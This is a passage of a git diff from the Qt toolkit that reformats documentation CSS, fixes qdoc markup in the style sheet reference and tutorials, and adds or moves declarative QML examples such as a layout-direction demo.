         display: block;
     }
-    
+
     .indexbox.guide .indexIcon span
     {
         width: 96px;
@@ -1407,7 +1409,7 @@
         background: url(../images/sprites-combined.png) no-repeat -5px -376px;
         padding: 0;
     }
-    
+
     .indexbox.tools .indexIcon span
     {
         width: 115px;
@@ -1423,56 +1425,55 @@
         clear: both;
         visibility: hidden;
     }
-	
+
 
 
 /* start of creator spec*/
-	.creator
-	{
-	margin-left:0px;
-	margin-right:0px;
-	padding-left:0px;
-	padding-right:0px;
-	}
-	.creator .wrap .content ol li {
-	list-style-type:decimal;
-
-	}
+    .creator
+    {
+        margin-left:0px;
+        margin-right:0px;
+        padding-left:0px;
+        padding-right:0px;
+    }
+    .creator .wrap .content ol li {
+        list-style-type:decimal;
+    }
     .creator .header .icon,
-	.creator .feedback,
-	.creator .t_button,
     .creator .feedback,
-	.creator #feedbackBox,
-	.creator #feedback,
-	.creator #blurpage,
-	/*.creator .indexbox .indexIcon span,*/
-	.creator .wrapper .hd,
-/*	.creator  .indexbox .indexIcon,*/
-	.creator .header #nav-logo,
-	.creator #offlinemenu,
-	.creator #offlinesearch,
-	.creator  .header #nav-topright,
+    .creator .t_button,
+    .creator .feedback,
+    .creator #feedbackBox,
+    .creator #feedback,
+    .creator #blurpage,
+    /* .creator .indexbox .indexIcon span,*/
+    .creator .wrapper .hd,
+    /* .creator  .indexbox .indexIcon,*/
+    .creator .header #nav-logo,
+    .creator #offlinemenu,
+    .creator #offlinesearch,
+    .creator  .header #nav-topright,
     .creator .header #shortCut ,
-	.creator .wrapper .hd,
+    .creator .wrapper .hd,
     .creator .wrapper .ft,
-	.creator .sidebar,
-	.creator .wrap .feedback
+    .creator .sidebar,
+    .creator .wrap .feedback
     {
-	display:none;
+        display:none;
     }
-	
-	body.creator
+
+    body.creator
     {
-	background: none;
+        background: none;
 
         font: normal 13px/1.2 Verdana;
         color: #363534;
-		background-color: #FAFAFA;
+        background-color: #FAFAFA;
     }
 
-	.wrap .content ol li {
-	
-	}
+    .wrap .content ol li {
+
+    }
 
 
     .creator .header, .creator .footer, .creator .wrapper
@@ -1481,19 +1482,18 @@
         margin: 0px;
     }
 
-   .creator .wrapper
+    .creator .wrapper
     {
-	position:relative;
-	top:5px;
+        position:relative;
+        top:5px;
     }
     .creator .wrapper .bd
-	{
-
-	background:#FFFFFF;
-	}
+    {
+        background:#FFFFFF;
+    }
 
 
-   .creator .header, .footer
+    .creator .header, .footer
     {
         display: block;
         clear: both;
@@ -1508,81 +1508,74 @@
 
     .creator .header .qtref span
     {
-		background:none;
-    }	
-
+        background:none;
+    }
 
-	
-		.creator .footer
+    .creator .footer
     {
-		border-top:1px solid #E5E5E5;
+        border-top:1px solid #E5E5E5;
         height: 50px;
-		margin:0px;
-		padding:10px;
-    }
-	
-		.creator .footer p
-		{
-		text-align:justify;
-		max-width:900px;
+        margin:0px;
+        padding:10px;
     }
-	    
-     .creator .wrap
+
+    .creator .footer p
     {
+        text-align:justify;
+        max-width:900px;
+    }
 
+    .creator .wrap
+    {
         padding:0 5px 0 5px;
-		margin: 0px;
+        margin: 0px;
     }
     .creator .wrap .toolbar
     {
-
-
-	border-bottom:1px solid #E5E5E5;
-	/*width:100%;*/
-	margin-left:-5px;
-	margin-right:-5px;
-    }	
+        border-bottom:1px solid #E5E5E5;
+        /*width:100%;*/
+        margin-left:-5px;
+        margin-right:-5px;
+    }
     .creator .wrap .breadcrumb ul li a
     {
       /*  color: #363534;*/
         color: #00732F;
-    }	
-	
+    }
+
     .creator .wrap .content
     {
         padding: 0px;
-		word-wrap:break-word;
+        word-wrap:break-word;
     }
-	
-    .creator .wrap .content ol li { 
-        background:none; 
-        font: inherit; 
+
+    .creator .wrap .content ol li {
+        background:none;
+        font: inherit;
         padding-left: 0px;
-    } 
-	
-    .creator .wrap .content .descr ol li {
-	margin-left: 45px;
+    }
 
+    .creator .wrap .content .descr ol li {
+        margin-left: 45px;
     }
+
     .creator .content .alignedsummary
     {
         margin: 5px;
-		width:100%;
-    }
-	.creator .generic{
-		max-width:75%;
-	}
-	.creator .generic td{
-		/*padding:0;*/
-	}
+        width:100%;
+    }
+    .creator .generic{
+        max-width:75%;
+    }
+    .creator .generic td{
+        /*padding:0;*/
+    }
     .creator .indexboxbar
     {
-		border-bottom:1px solid #E5E5E5;
+        border-bottom:1px solid #E5E5E5;
         margin-bottom: 25px;
-		background: none;
+        background: none;
     }
-	
-	
 
     .creator .header
     {
@@ -1592,20 +1585,11 @@
       background-color: #ffffff;
       padding: 10px 0 5px 0;
       overflow: visible;
-	  border-bottom: solid #E5E5E5 1px;
-	  z-index:1;
-
-
-
-
-
-
-
-
-	/*  position:fixed;*/
+      border-bottom: solid #E5E5E5 1px;
+      z-index:1;
+      /*  position:fixed;*/
     }
 
-
     .creator .header .content
     {
     }
@@ -1621,32 +1605,25 @@
     .creator .header .qtref:visited
     {
       color: #00732F;
-	  }
+    }
     .creator .header .qtref:hover
     {
       color: #00732F;
-	  text-decoration:none;
-	  }
+      text-decoration:none;
+    }
     .creator .header .qtref span
     {
       background-image: none;
       text-indent: 0;
-	  text-decoration:none;
+      text-decoration:none;
     }
 
-
-
-
-
-
     .creator .wrap .toolbar
     {
       display:block;
-	  padding-top:0px;
+      padding-top:0px;
     }
 
-
-
     .creator .wrap .breadcrumb ul li {
       font-weight: normal;
     }
@@ -1658,80 +1635,78 @@
     .creator .wrap .breadcrumb ul li.last a {
       /*color: #363534;*/
     }
-    
-	.creator #narrowmenu ul
-	{
-	  border-bottom:solid 1px #E5E5E5;
-	  border-left:solid 1px #E5E5E5;
-	  border-right:solid 1px #E5E5E5;
-	}
+
+    .creator #narrowmenu ul
+    {
+      border-bottom:solid 1px #E5E5E5;
+      border-left:solid 1px #E5E5E5;
+      border-right:solid 1px #E5E5E5;
+    }
 
     .creator #narrowmenu li ul {
       margin-top:-15px;
-   }
+    }
 
+    .creator .toc {
+      margin:10px 20px 10px 10px;
+    }
 
-	.creator .toc {
-	margin:10px 20px 10px 10px;
-	}	
-	
-	.creator #narrowsearch, .creator #narrowmenu{
-		display:none;
-	}
+    .creator #narrowsearch, .creator #narrowmenu{
+        display:none;
+    }
 /* end of creator spec*/
-	
-	.item {
-	  float: left;
-	  position: relative;
-	  width: 100%;
-	  overflow: hidden;
-	}
-
-
-	.item .primary {
-	  margin-right: 220px;
-	  position: relative;
-	}
-
-	.item hr {
-	  margin-left: -220px;
-	}
-
-	.item .secondary {
-	  float: right;
-	  width: 200px;
-	  position: relative;
-	}
-
-	.item .cols {
-	  clear: both;
-	  display: block;
-	}
-
-	.item .cols .col {
-	  float: left;
-	  margin-left: 1.5%;
-	}
-
-	.item .cols .col.first {
-	  margin-left: 0;
-	}
-
-	.item .cols.two .col {
-	  width: 45%;
-	}
-
-	.item .box {
-	  margin: 0 0 10px 0;
-	}
-
-	.item .box h3 {
-	  margin: 0 0 10px 0;
-	}
-
-	.cols.unclear {
-		clear:none;
-	}
+
+    .item {
+      float: left;
+      position: relative;
+      width: 100%;
+      overflow: hidden;
+    }
+
+    .item .primary {
+      margin-right: 220px;
+      position: relative;
+    }
+
+    .item hr {
+      margin-left: -220px;
+    }
+
+    .item .secondary {
+      float: right;
+      width: 200px;
+      position: relative;
+    }
+
+    .item .cols {
+      clear: both;
+      display: block;
+    }
+
+    .item .cols .col {
+      float: left;
+      margin-left: 1.5%;
+    }
+
+    .item .cols .col.first {
+      margin-left: 0;
+    }
+
+    .item .cols.two .col {
+      width: 45%;
+    }
+
+    .item .box {
+      margin: 0 0 10px 0;
+    }
+
+    .item .box h3 {
+      margin: 0 0 10px 0;
+    }
+
+    .cols.unclear {
+        clear:none;
+    }
 }
 
 /* end of screen media */
@@ -1749,8 +1724,7 @@
     {
         background: none;
         display: block;
-		width: 100%; margin: 0; float: none;
-		
+        width: 100%; margin: 0; float: none;
     }
 }
 /* end of print media */
diff --git a/doc/src/template/style/superfish.css b/doc/src/template/style/superfish.css
index 0cf0f7d..2bdaef4 100644
--- a/doc/src/template/style/superfish.css
+++ b/doc/src/template/style/superfish.css
@@ -1,51 +1,51 @@
 .sf-menu, .sf-menu * {
-	margin:			0;
-	padding:		0;
-	list-style:		none;
+  margin: 0;
+  padding: 0;
+  list-style: none;
 }
 .sf-menu {
-	line-height:	1.0;
+  line-height: 1.0;
 }
 .sf-menu ul {
-	position:		absolute;
-	top:			-999em;
-	width:			10em; /* left offset of submenus need to match (see below) */
+  position: absolute;
+  top: -999em;
+  width: 10em; /* left offset of submenus need to match (see below) */
 }
 .sf-menu ul li {
-	width:			100%;
+  width: 100%;
 }
 .sf-menu li:hover {
-	visibility:		inherit; /* fixes IE7 'sticky bug' */
+  visibility: inherit; /* fixes IE7 'sticky bug' */
 }
 .sf-menu li {
-	float:			left;
-	position:		relative;
+  float: left;
+  position: relative;
 }
 .sf-menu a {
-	display:		block;
-	position:		relative;
+  display: block;
+  position: relative;
 }
 .sf-menu li:hover ul,
 .sf-menu li.sfHover ul {
-	left:			0;
-	top:			2.5em; /* match top ul list item height */
-	z-index:		99;
+  left: 0;
+  top: 2.5em; /* match top ul list item height */
+  z-index: 99;
 }
 ul.sf-menu li:hover li ul,
 ul.sf-menu li.sfHover li ul {
-	top:			-999em;
+  top: -999em;
 }
 ul.sf-menu li li:hover ul,
 ul.sf-menu li li.sfHover ul {
-	left:			10em; /* match ul width */
-	top:			0;
+  left: 10em; /* match ul width */
+  top: 0;
 }
 ul.sf-menu li li:hover li ul,
 ul.sf-menu li li.sfHover li ul {
-	top:			-999em;
+  top: -999em;
 }
 ul.sf-menu li li li:hover ul,
 ul.sf-menu li li li.sfHover ul {
-	left:			10em; /* match ul width */
-	top:			0;
+  left: 10em; /* match ul width */
+  top: 0;
 }
diff --git a/doc/src/tutorials/addressbook.qdoc b/doc/src/tutorials/addressbook.qdoc
index cbc918f..ec4a4f3 100644
--- a/doc/src/tutorials/addressbook.qdoc
+++ b/doc/src/tutorials/addressbook.qdoc
@@ -831,7 +831,7 @@
     \snippet tutorials/addressbook/part6/addressbook.cpp tooltip 2
 
     Although it is not shown here, just like the other features we implemented,
-    we add the push buttons to the layout panel on the right, \c button1Layout,
+    we add the push buttons to the layout panel on the right, \c buttonLayout1,
     and we connect the push buttons' \l{QPushButton::clicked()}{clicked()}
     signals to their respective slots.
 
diff --git a/doc/src/tutorials/modelview.qdoc b/doc/src/tutorials/modelview.qdoc
index 88cda72..cae7764 100644
--- a/doc/src/tutorials/modelview.qdoc
+++ b/doc/src/tutorials/modelview.qdoc
@@ -104,7 +104,7 @@
     array of the data elements that the user can change. The table widget can be
     integrated into a program flow by reading and writing the data elements that
     the table widget provides. 
-    
+
     This method is very intuitive and useful in many applications, but displaying 
     and editing a database table with a standard table widget can be problematic.
     Two copies of the data have to be coordinated: one outside the
@@ -156,7 +156,7 @@
             \o
             \o  \l QColumnView shows a tree as a hierarchy of lists
         \row
-            \o  \inlineimage combobox.png
+            \o  \inlineimage modelview-combobox.png
             \o {2, 1} \l QComboBox can work as both a view class and also
                       as a traditional widget
     \endtable
@@ -348,7 +348,7 @@
     \section2 2.4 Setting up Headers for Columns and Rows
 
     Headers can be hidden via a view method: \c{tableView->verticalHeader()->hide();}
-    \image header.png
+    \image modelview-header.png
 
     The header content, however, is set via the model, so we reimplement the
     \l{QAbstractItemModel::headerData()}{headerData()} method:
diff --git a/doc/src/widgets-and-layouts/stylesheet.qdoc b/doc/src/widgets-and-layouts/stylesheet.qdoc
index 9938a77..be845c4 100644
--- a/doc/src/widgets-and-layouts/stylesheet.qdoc
+++ b/doc/src/widgets-and-layouts/stylesheet.qdoc
@@ -32,6 +32,7 @@
 
     \ingroup frameworks-technologies
     \ingroup qt-basic-concepts
+	\ingroup qt-gui-concepts
 
     \previouspage {Styles and Style Aware Widgets}{Styles}
     \contentspage Widgets and Layouts
@@ -1995,7 +1996,7 @@
            \l{#bottom-prop}{bottom}.
 
     \row
-        \o \bold{\c lineedit-password- \BR \c character}* \target lineedit-password-character-prop
+        \o \bold{\c lineedit-password-character*} \target lineedit-password-character-prop
         \o \l{#Number}{Number}
         \o The QLineEdit password character as a Unicode number.
 
@@ -2091,8 +2092,7 @@
 
 
     \row
-        \o \bold{\c messagebox-text- \target messagebox-text-interaction-flags-prop
-           \BR \c interaction-flags}*
+        \o \bold{\c messagebox-text-interaction-flags*} \target messagebox-text-interaction-flags-prop
         \o \l{#Number}{Number}
         \o The interaction behavior for text in a message box.
            Possible values are based on Qt::TextInteractionFlags.
@@ -2153,7 +2153,7 @@
            See also \l{#min-height-prop}{min-height}.
 
     \row
-        \o \bold{\c opacity}* \target opacity-prop
+        \o \bold{\c opacity*} \target opacity-prop
         \o \l{#Number}{Number}
         \o The opacity for a widget. Possible values are from 0
            (transparent) to 255 (opaque). For the moment, this is
@@ -2249,7 +2249,7 @@
            \l{#bottom-prop}{bottom}.
 
     \row
-        \o \bold{\c selection-background-color}* \target selection-background-color-prop
+        \o \bold{\c selection-background-color*} \target selection-background-color-prop
         \o \l{#Brush}{Brush} \BR
         \o The background of selected text or items.
 
@@ -2268,7 +2268,7 @@
            \l{Qt Style Sheets Reference#background-prop}{background}.
 
     \row
-        \o \bold{\c selection-color}* \target selection-color-prop
+        \o \bold{\c selection-color*} \target selection-color-prop
         \o \l{#Brush}{Brush} \BR
         \o The foreground of selected text or items.
 
@@ -2288,8 +2288,7 @@
            and \l{#color-prop}{color}.
 
     \row
-        \o \bold{\c show-decoration- \target show-decoration-selected-prop
-           \BR \c selected}*
+        \o \bold{\c show-decoration-selected*} \target show-decoration-selected-prop
         \o \l{#Boolean}{Boolean}
         \o Controls whether selections in a QListView cover the
            entire row or just the extent of the text.
@@ -2304,7 +2303,7 @@
            \snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 73
 
     \row
-        \o \bold{\c spacing}* \target spacing-prop
+        \o \bold{\c spacing*} \target spacing-prop
         \o \l{#Length}{Length}
         \o Internal spacing in the widget.
 
@@ -2322,7 +2321,7 @@
            \l{#margin-prop}{margin}.
 
     \row
-        \o \bold{\c subcontrol-origin}* \target subcontrol-origin-prop
+        \o \bold{\c subcontrol-origin*} \target subcontrol-origin-prop
         \o \l{#Origin}{Origin}
         \o The origin rectangle of the \l subcontrol within the
            parent element.
@@ -2338,7 +2337,7 @@
            \l{Qt Style Sheets Reference#subcontrol-position-prop}{subcontrol-position}.
 
     \row
-        \o \bold{\c subcontrol-position}* \target subcontrol-position-prop
+        \o \bold{\c subcontrol-position*} \target subcontrol-position-prop
         \o \l{#Alignment}{Alignment}
         \o The alignment of the \l subcontrol within the origin
            rectangle specified by \l{Qt Style Sheets Reference#subcontrol-origin-prop}
@@ -2706,8 +2705,7 @@
         \o Shorthand border property.
 
     \row
-        \o \bold{Border \target Border Image
-           Image}
+        \o \bold{Border Image} \target Border Image
         \o \c none \BR
            | \l{Url} \l{Number}\{4\} \BR (\c stretch | \c repeat){0,2}
         \o A border image is an image that is composed of nine parts
@@ -2723,8 +2721,7 @@
            {CSS3 Draft Specification} for details.
 
     \row
-        \o \bold{Border \target Border Style
-           Style}
+        \o \bold{Border Style} \target Border Style
         \o \c dashed \BR
            | \c dot-dash \BR
            | \c dot-dot-dash \BR
@@ -2741,8 +2738,7 @@
            {CSS3 Draft Specification} for details.
 
     \row
-        \o \bold{Box \target Box Colors
-        Colors}
+        \o \bold{Box Colors} \target Box Colors
         \o \l{#Brush}{Brush}\{1,4\}
         \o One to four occurrences of \l{#Brush}{Brush}, specifying the top,
            right, bottom, and left edges of a box, respectively. If
@@ -2757,8 +2753,7 @@
            \snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 82
 
     \row
-        \o \bold{Box \target Box Lengths
-           Lengths}
+        \o \bold{Box Lengths} \target Box Lengths
         \o \l{#Length}{Length}\{1,4\}
         \o One to four occurrences of \l{#Length}{Length}, specifying the
            top, right, bottom, and left edges of a box,
@@ -2773,14 +2768,14 @@
            \snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 83
 
     \row
-        \o \bold Brush \target Brush
+        \o \bold{Brush} \target Brush
         \o \l{#Color}{Color} \BR
            | \l{Gradient} \BR
            | \l{PaletteRole}
         \o Specifies a Color or a Gradient or an entry in the Palette.
 
     \row
-        \o \bold Color \target Color
+        \o \bold{Color} \target Color
         \o \tt{rgb(\e{r}, \e{g}, \e{b})} \BR
            | \tt{rgba(\e{r}, \e{g}, \e{b}, \e{a})} \BR
            | \tt{hsv(\e{h}, \e{s}, \e{v})} \BR
@@ -2803,27 +2798,24 @@
             \l{http://www.w3.org/TR/CSS21/syndata.html#color-units}{here}.
 
     \row
-        \o \bold Font \target Font
+        \o \bold{Font} \target Font
         \o (\l{#Font Style}{Font Style} | \l{#Font Weight}{Font Weight}){0,2} \l{#Font Size}{Font Size} String
         \o Shorthand font property.
 
     \row
-        \o \bold{Font \target Font Size
-           Size}
+        \o \bold{Font Size} \target Font Size
         \o \l{Length}
         \o The size of a font.
 
     \row
-        \o \bold{Font \target Font Style
-           Style}
+        \o \bold{Font Style} \target Font Style
         \o \c normal \BR
            | \c italic \BR
            | \c oblique
         \o The style of a font.
 
     \row
-        \o \bold{Font \target Font Weight
-           Weight}
+        \o \bold{Font Weight} \target Font Weight
         \o \c normal \BR
            | \c bold \BR
            | \c 100 \BR
@@ -2833,7 +2825,7 @@
         \o The weight of a font.
 
     \row
-        \o \bold Gradient \target Gradient
+        \o \bold{Gradient} \target Gradient
         \o \c qlineargradient \BR
            | \c qradialgradient \BR
            | \c qconicalgradient
@@ -2863,7 +2855,7 @@
         \snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 85
 
     \row
-        \o \bold Icon \target Icon
+        \o \bold{Icon} \target Icon
         \o (\l{#Url}{Url} (\c disabled | \c active | \c normal | \c selected)?
             (\c on | \c off)? )*
         \o A list of url, QIcon::Mode and QIcon::State.
@@ -2872,7 +2864,7 @@
             \snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 86
 
     \row
-        \o \bold Length \target Length
+        \o \bold{Length} \target Length
         \o \l{#Number}{Number} (\c px | \c pt | \c em | \c ex)?
         \o A number followed by a measurement unit. The CSS standard recommends
            that user agents must
@@ -2890,13 +2882,13 @@
            \endlist
 
     \row
-        \o \bold Number \target Number
+        \o \bold{Number} \target Number
         \o A decimal integer or a real number
         \o Examples: \c 0, \c 18, \c +127, \c -255, \c 12.34, \c -.5,
            \c 0009.
 
     \row
-        \o \bold Origin \target Origin
+        \o \bold{Origin} \target Origin
         \o \c margin \BR
            | \c border \BR
            | \c padding \BR
@@ -2916,7 +2908,7 @@
            See also \l{The Box Model}.
 
     \row
-        \o \bold PaletteRole \target PaletteRole
+        \o \bold{PaletteRole} \target PaletteRole
         \o \c alternate-base \BR
               | \c base \BR
               | \c bright-text \BR
@@ -2941,7 +2933,7 @@
             \snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 87
 
     \row
-        \o \bold Radius \target Radius
+        \o \bold{Radius} \target Radius
         \o \l{#Length}{Length}\{1, 2\}
         \o One or two occurrences of \l{#Length}{Length}. If only one length is
            specified, it is used as the radius of the quarter circle
@@ -2950,7 +2942,7 @@
            ellipse, whereas the second length is the vertical radius.
 
     \row
-        \o \bold Repeat \target Repeat
+        \o \bold{Repeat} \target Repeat
         \o \c repeat-x \BR
            | \c repeat-y \BR
            | \c repeat \BR
@@ -2965,7 +2957,7 @@
            \endlist
 
     \row
-        \o \bold Url \target Url
+        \o \bold{Url} \target Url
         \o \tt{url(\e{filename})}
         \o \tt{\e{filename}} is the name of a file on the local disk
            or stored using \l{the Qt Resource System}. Setting an
diff --git a/doc/src/windows-and-dialogs/mainwindow.qdoc b/doc/src/windows-and-dialogs/mainwindow.qdoc
index bf3e3a8..0bf4909 100644
--- a/doc/src/windows-and-dialogs/mainwindow.qdoc
+++ b/doc/src/windows-and-dialogs/mainwindow.qdoc
@@ -37,7 +37,7 @@
     \ingroup qt-gui-concepts
 
     A \l{Widgets Tutorial}{widget} that is not embedded in a parent widget is called a window.
-    Usually, windows have a frame and a title bar, although it is also possible to create
+    (Usually, windows have a frame and a title bar, although it is also possible to create
     windows without such decoration using suitable window flags). In Qt, QMainWindow
     and the various subclasses of QDialog are the most common window types.
 
diff --git a/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc b/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc
index 478bd64..ad2d702 100644
--- a/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc
+++ b/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc
@@ -41,9 +41,9 @@
 
     现在您已经编写了一些小型可用的应用程序，并对 Qt 编程有更加广泛的了解。您可以直接着手做自己的项目，但我们建议您阅读以下一些关键简介以加深您对 Qt 的了解：\l{Qt Object Model}Qt 对象模型}和\l{Signals and Slots}{信号和槽}。
 
-    \beginfloatleft
+    \div {float-left}
     \inlineimage qtdemo-small.png
-    \endfloat
+    \enddiv
 
     \section1 了解概况
 
diff --git a/examples/declarative/keyinteraction/focus/focus.qml b/examples/declarative/keyinteraction/focus/focus.qml
index 9cb1fef..935db25 100644
--- a/examples/declarative/keyinteraction/focus/focus.qml
+++ b/examples/declarative/keyinteraction/focus/focus.qml
@@ -91,7 +91,7 @@ Rectangle {
 
         MouseArea {
             anchors.fill: parent; anchors.margins: -10
-            onClicked: window.state = "contextMenuOpen"
+            onClicked: contextMenu.focus = true
         }
     }
 
diff --git a/examples/declarative/positioners/Button.qml b/examples/declarative/positioners/addandremove/Button.qml
index 25907c0..25907c0 100644
--- a/examples/declarative/positioners/Button.qml
+++ b/examples/declarative/positioners/addandremove/Button.qml
diff --git a/examples/declarative/positioners/add.png b/examples/declarative/positioners/addandremove/add.png
index 1ee4542..1ee4542 100644
--- a/examples/declarative/positioners/add.png
+++ b/examples/declarative/positioners/addandremove/add.png
diff --git a/examples/declarative/positioners/positioners.qml b/examples/declarative/positioners/addandremove/addandremove.qml
index 7d6d8fe..7d6d8fe 100644
--- a/examples/declarative/positioners/positioners.qml
+++ b/examples/declarative/positioners/addandremove/addandremove.qml
diff --git a/examples/declarative/positioners/positioners.qmlproject b/examples/declarative/positioners/addandremove/addandremove.qmlproject
index e526217..e526217 100644
--- a/examples/declarative/positioners/positioners.qmlproject
+++ b/examples/declarative/positioners/addandremove/addandremove.qmlproject
diff --git a/examples/declarative/positioners/del.png b/examples/declarative/positioners/addandremove/del.png
index 8d2eaed..8d2eaed 100644
--- a/examples/declarative/positioners/del.png
+++ b/examples/declarative/positioners/addandremove/del.png
diff --git a/examples/declarative/positioners/layoutdirection/layoutdirection.qml b/examples/declarative/positioners/layoutdirection/layoutdirection.qml
new file mode 100644
index 0000000..3e23b15
--- /dev/null
+++ b/examples/declarative/positioners/layoutdirection/layoutdirection.qml
@@ -0,0 +1,151 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+**   * Redistributions of source code must retain the above copyright
+**     notice, this list of conditions and the following disclaimer.
+**   * Redistributions in binary form must reproduce the above copyright
+**     notice, this list of conditions and the following disclaimer in
+**     the documentation and/or other materials provided with the
+**     distribution.
+**   * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+**     the names of its contributors may be used to endorse or promote
+**     products derived from this software without specific prior written
+**     permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.1
+
+Rectangle {
+
+    width: column.width + 100
+    height: column.height + 100
+    property int direction: Qt.application.layoutDirection
+
+    Column {
+        id: column
+        spacing: 10
+        anchors.centerIn: parent
+        width: 230
+
+        Text {
+            text: "Row"
+            anchors.horizontalCenter: parent.horizontalCenter
+        }
+        Row {
+            layoutDirection: direction
+            spacing: 10
+            move: Transition {
+                NumberAnimation {
+                    properties: "x"
+                }
+            }
+            Repeater {
+                model: 4
+                Loader {
+                    property int value: index
+                    sourceComponent: delegate
+                }
+            }
+        }        
+        Text {
+            text: "Grid"
+            anchors.horizontalCenter: parent.horizontalCenter
+        }
+        Grid {
+           layoutDirection: direction
+           spacing: 10; columns: 4
+           move: Transition {
+               NumberAnimation {
+                   properties: "x"
+               }
+           }
+           Repeater {
+               model: 11
+               Loader {
+                   property int value: index
+                   sourceComponent: delegate
+               }
+            }
+        }
+        Text {
+            text: "Flow"
+            anchors.horizontalCenter: parent.horizontalCenter
+        }
+        Flow {
+           layoutDirection: direction
+           spacing: 10; width: parent.width
+           move: Transition {
+               NumberAnimation {
+                   properties: "x"
+               }
+           }
+           Repeater {
+               model: 10
+               Loader {
+                   property int value: index
+                   sourceComponent: delegate
+               }
+            }
+        }
+        Rectangle {
+           height: 50; width: parent.width
+           color: mouseArea.pressed ? "black" : "gray"
+           Text {
+                text: direction ? "Right to left" : "Left to right"
+                color: "white"
+                font.pixelSize: 16
+                anchors.centerIn: parent
+            }
+            MouseArea {
+                id: mouseArea
+                onClicked: {
+                    if (direction == Qt.LeftToRight) {
+                        direction = Qt.RightToLeft;
+                    } else {
+                        direction = Qt.LeftToRight;
+                    }
+                }
+                anchors.fill: parent
+            }
+        }
+    }
+    
+    Component {
+        id: delegate
+        Rectangle {
+            width: 50; height: 50
+            color: Qt.rgba(0.8/(parent.value+1),0.8/(parent.value+1),0.8/(parent.value+1),1.0)
+            Text {
+                text: parent.parent.value+1
+                color: "white"
+                font.pixelSize: 20
+                anchors.centerIn: parent
+            }
+        }
+    }
+}
diff --git a/examples/declarative/positioners/layoutdirection/layoutdirection.qmlproject b/examples/declarative/positioners/layoutdirection/layoutdirection.qmlproject
new file mode 100644
index 0000000..e526217
--- /dev/null
+++ b/examples/declarative/positioners/layoutdirection/layoutdirection.qmlproject
@@ -0,0 +1,18 @@
+/* File generated by QtCreator */
+
+import QmlProject 1.0
+
+Project {
+    /* Include .qml, .js, and image files from current directory and subdirectories */
+    QmlFiles {
+        directory: "."
+    }
+    JavaScriptFiles {
+        directory: "."
+    }
+    ImageFiles {
+        directory: "."
+    }
+    /* List of plugin directories passed to QML runtime */
+    // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/text/textselection/textselection.qml b/examples/declarative/text/textselection/textselection.qml
index 6db7a85..d02a317 100644
--- a/examples/declarative/text/textselection/textselection.qml
+++ b/examples/declarative/text/textselection/textselection.qml
@@ -265,7 +265,7 @@ Rectangle {
                         anchors.fill: parent
                         onClicked: { 
                             edit.cursorPosition = edit.selectionEnd;
-                            edit.select(edit.cursorPosition, edit.cursorPosition);
+                            edit.deselect();
                             editor.state = "" 
                         } 
                     }
diff --git a/examples/declarative/touchinteraction/pincharea/flickresize.qml b/examples/declarative/touchinteraction/pincharea/flickresize.qml
new file mode 100644
index 0000000..a2f81ff
--- /dev/null
+++ b/examples/declarative/touchinteraction/pincharea/flickresize.qml
@@ -0,0 +1,90 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+**   * Redistributions of source code must retain the above copyright
+**     notice, this list of conditions and the following disclaimer.
+**   * Redistributions in binary form must reproduce the above copyright
+**     notice, this list of conditions and the following disclaimer in
+**     the documentation and/or other materials provided with the
+**     distribution.
+**   * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+**     the names of its contributors may be used to endorse or promote
+**     products derived from this software without specific prior written
+**     permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
